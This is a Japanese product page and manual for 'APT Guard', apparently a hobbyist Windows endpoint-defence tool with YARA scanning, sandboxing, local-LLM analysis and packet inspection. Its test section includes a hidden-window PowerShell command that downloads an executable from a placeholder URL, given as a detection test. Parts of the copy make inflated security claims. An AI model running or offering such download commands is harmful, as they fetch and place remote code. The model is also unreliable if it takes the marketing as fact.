APT攻撃を撃退する「APT Guard」
【更新履歴】
・2026/3/17 バージョン1.0公開。
(中略)
・2026/3/17 バージョン1.2公開。
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「完全オフラインで稼働する、ローカルAI主導の次世代エンドポイント防衛(EDR)プラットフォーム」
APTGuardは、従来のアンチウイルスやクラウド依存の商用EDRが抱える「未知の脅威への脆弱性」と「機密情報の外部流出リスク」を完全に解決するために設計された、スタンドアロン型の次世代EDR(Endpoint Detection and Response)システムです。
C#で構築された堅牢な非同期アーキテクチャの上に、**「静的シグネチャ(YARA)」「動的サンドボックス」「ローカルLLM(AI)による意図解釈」「DPI(ディープパケットインスペクション)」**という4つの最強の防衛線を統合。インターネットから完全に遮断された機密ネットワーク環境下でも、高度なAPT攻撃(持続的標的型攻撃)やゼロデイマルウェアを自律的に検知・撃墜します。
🚀 圧倒的な4つのコア機能
完全プライベートAIによる「意図」の解釈(Zero-Day Defense) 従来のセキュリティソフトは「過去のウイルス」しか検知できません。APTGuardは、PC内で稼働するローカルLLM(Ollama等)と連動。難読化された未知のPowerShellスクリプトやファイルレス攻撃が実行された瞬間、AIがその「攻撃者の意図」を文脈から読み取り、実行される前にプロセスを強制終了します。機密データが外部のOpenAI等に送信されることは一切ありません。
カーネル級の先制防御とDPI(Deep Packet Inspection) ファイルがダウンロードされた瞬間、仮想Ring-0ロック(OSレベルの排他制御)によってユーザーの誤実行を阻止し、YARAエンジンによる瞬時のバイナリスキャンを実行。さらに、Npcapを介したDPIエンジンが通信パケットのペイロードを直接覗き見し、C2サーバー特有のビーコン通信をWindowsファイアウォールで即座に物理遮断します。
MITRE ATT&CK™ マッピングによるリアルタイム可視化 システム内で何が起きているのか? 攻撃者は今、Kill Chainのどの段階にいるのか? ログの羅列ではなく、世界標準のMITRE ATT&CKフレームワークに準拠した美しいダッシュボード上に、脅威の戦術(Tactics)と技術(Techniques)をリアルタイムに赤く点灯させて視覚化します。
不沈艦となる「自己防衛」と「安全装置」 APTGuard自身がマルウェアに強制終了させられた場合、裏で監視するウォッチドッグ(番犬)プロセスが瞬時にシステムを自己修復(再起動)します。また、ランサムウェアを確実におびき寄せる「ハニーポット(罠ファイル)」や、システムメモリへの不正インジェクション検知機能も搭載。P2Pネットワークによる匿名の脅威IP共有機能により、組織全体の防御力を底上げします。
📖 APTGuard 取扱説明書(User Manual)
1. システム要件と事前準備
APTGuardの全機能を解放するためには、以下の環境とツールのインストールが必要です。
対応OS: Windows 10 / 11 (Pro・Enterprise推奨 ※Windows Sandbox機能のため)
必須ドライバ: Npcap (パケット解析・DPIエンジンを稼働させるために必須です。Wireshark等と同じ標準ドライバです)
AI環境 (任意・推奨): Ollama などのローカルLLM実行環境と、軽量な推論モデル(phi3 や llama3 など)。
Windows Sandbox: コントロールパネルの「Windows の機能の有効化または無効化」から「Windows サンドボックス」を有効にしてください。
2. インストールと起動方法
APTGuard.exe を**必ず「管理者として実行」**してください。(※WMIやETW、パケットキャプチャなどOSの深層機能にアクセスするため、標準権限では起動に失敗します)
初回起動時、メインダッシュボードが表示され、各センサー(WMI, ETW, DPI, MemoryScanner等)の初期化ログが緑色の文字で流れます。
画面左上のステータスバーのランプがすべて水色(●)に点灯すれば、防衛システムは正常にオンラインです。
3. 初期設定(AIとP2Pの有効化)
ダッシュボード上部(またはメニュー)から**「設定 (Settings)」**を開きます。
LLM設定: Ollama等を使用する場合、「LLMエンジン」を選択し、モデル名(例: phi3)を入力して「▶ サーバー起動」を押します。これにより、高度なAIヒューリスティック検知が有効になります。
P2P設定: 脅威情報(ブロックした悪意のあるIP)を匿名でネットワーク上の他のAPTGuardと共有する場合は、P2P設定を有効にしてください。
4. ダッシュボードの見方と主な機能
メインコンソール (黒画面): リアルタイムでシステム内で発生しているプロセスの起動、通信、隔離の状況がログとして流れます。
MITRE ATT&CK ボタン (紫): クリックすると、攻撃のフェーズを可視化する専用ダッシュボードが開きます。攻撃を検知すると、「Initial Access(初期侵入)」や「Command and Control(C2通信)」などの該当パネルが赤く点灯し、詳細な手口が表示されます。
Manage Quarantine ボタン (グレー): APTGuardが隔離した脅威ファイル(無害化済み)の一覧を管理します。誤検知の場合はここから「Restore(復元)」でき、本物のマルウェアは「Delete(完全削除)」できます。
Threats Blocked カウンター (赤): システム起動後から現在までに撃墜・遮断した攻撃の総数を表示します。
5. 各防衛機能の働きとテスト方法
APTGuardが正しく稼働しているか、以下の安全な方法でテストできます。
A. AIヒューリスティック検知のテスト(疑似ファイルレス攻撃) コマンドプロンプトを開き、以下の「悪意はないが攻撃者がよく使う難読化パターンのコマンド」を実行します。
PowerShell
powershell.exe -WindowStyle Hidden -Command "$u='http://example.com/a.exe'; $o='$env:TEMP\a.exe'; Invoke-WebRequest -Uri $u -OutFile $o"
👉 結果: ローカルAIが瞬時に意図を読み取り、プロセスを強制終了します。MITREダッシュボードの「Execution」が点灯します。
B. YARAスキャナーのテスト(疑似マルウェア作成) メモ帳を開き、本文に PlugX または X1942 という文字列を入力し、test_malware.exe という名前でPCの「ダウンロード」フォルダに保存します。 👉 結果: 保存された瞬間に仮想Ring-0ロックがかかり、YARAエンジンがマルウェアのシグネチャを検知して即座に隔離(Quarantine)へ送ります。
C. サンドボックス動的解析のテスト YARAに引っかからない完全に未知の .exe ファイルをダウンロードした場合、APTGuardはバックグラウンドで安全な「Windows Sandbox」を立ち上げ、仮想空間内でファイルを起爆して挙動を監視します。
D. ハニーポット(ランサムウェア罠) APTGuardは起動時、あなたのドキュメントフォルダに passwords_admin_backup.docx という見えない罠ファイルを作成します。ランサムウェアがこのファイルを暗号化しようと触れた瞬間、システムはそのプロセスを無条件で抹殺します。
⚠️ トラブルシューティング
「DPI Error: Unable to load DLL 'wpcap'」と表示される Npcapがインストールされていません。公式サイトからインストールして再起動してください。
AIが検知しない / ログに「AI解析エラー」と出る Ollama等のローカルLLMサーバーが起動していないか、設定画面のモデル名が間違っています。設定画面からサーバーの起動状態を確認してください。
ウィンドウの「×」ボタンを押しても再起動してくる APTGuardの「ウォッチドッグ機能」が作動しています。通常は「×」ボタンで終了できますが、タスクマネージャー等から強制終了(Kill)した場合、マルウェアの攻撃とみなして自己修復(再起動)します。完全に停止させるには、必ずアプリの「×」ボタンから正常終了させてください。


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